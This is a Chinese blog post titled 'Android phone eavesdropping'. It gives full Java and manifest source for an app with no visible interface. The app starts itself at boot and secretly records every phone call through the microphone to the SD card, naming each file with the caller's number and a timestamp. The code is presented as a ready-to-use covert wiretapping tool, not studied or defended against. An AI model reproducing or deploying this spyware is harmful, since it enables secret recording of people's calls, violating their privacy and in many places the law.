android 窃听电话
16lz
2022-06-18
废话少说,直奔主题~!
结构如图:
mybroad.java代码:
public class mybroad extends BroadcastReceiver {static final String ACTION = "android.intent.action.BOOT_COMPLETED";@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stubif (intent.getAction().equals(ACTION)){Intent service = new Intent(context, MyService.class); context.startService(service);Log.d("d", "服务已经开始");}}}
MyService.java代码:
public class MyService extends Service {@Overridepublic void onCreate() {// TODO Auto-generated method stubsuper.onCreate();Log.d("d", "进入服务");TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(psl, PhoneStateListener.LISTEN_CALL_STATE);Log.d("d", "服务已启动");}PhoneStateListener psl = new PhoneStateListener() {private Boolean call_pd = false;private MediaRecorder mr;private String number;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {// TODO Auto-generated method stub// super.onCallStateChanged(state, incomingNumber);switch (state) {case TelephonyManager.CALL_STATE_IDLE:number = null;if ( mr != null && call_pd) {mr.stop();mr.reset();mr.release();call_pd = false;} Log.d("d", "录音结束");break;case TelephonyManager.CALL_STATE_OFFHOOK:try{mr = new MediaRecorder();mr.setAudioSource(MediaRecorder.AudioSource.MIC);mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);SimpleDateFormat format = new SimpleDateFormat("yyMMddHHmmss");//String fileName = this.number + "_"+ format.format(new Date());mr.setOutputFile("//sdcard//" + fileName + ".3gp");Log.d("d", Environment.getExternalStorageDirectory().getAbsolutePath() + "/" + fileName + ".3gp");mr.prepare();mr.start();Log.d("d", "开始接电话");call_pd = true;}catch(Exception ex){Log.d("d","有错误");}break;case TelephonyManager.CALL_STATE_RINGING:this.number = incomingNumber;Log.d("d", "电话进来");break;default:break;}}};@Overridepublic IBinder onBind(Intent arg0) {// TODO Auto-generated method stubreturn null;}}
AndroidManifest.xml代码:
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="Tel_Listener.Jason" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="4" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses-permission> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses-permission> <uses-permission android:name="android.permission.RECORD_AUDIO"></uses-permission> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name="MyService"> </service> <receiver android:name="mybroad"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> <category android:name="android.intent.category.LAUNCHER"></category> </intent-filter> </receiver> </application></manifest>
更多相关文章
- Android之十三图片2D翻转
- android webview实现唤起qq临时会话
- 在Eclipse 中关联android sdk 源代码
- Android的Location功能代码
- android http通信——HttpURLConntection
- Android(安卓)4.0 HttpURLConnection 下载失败问题
- 在Android中使用NDK调用OpenGl
- Android读取服务端TXT(JSON格式数据)返回汉字乱码的问题
- 操作内存卡的常用代码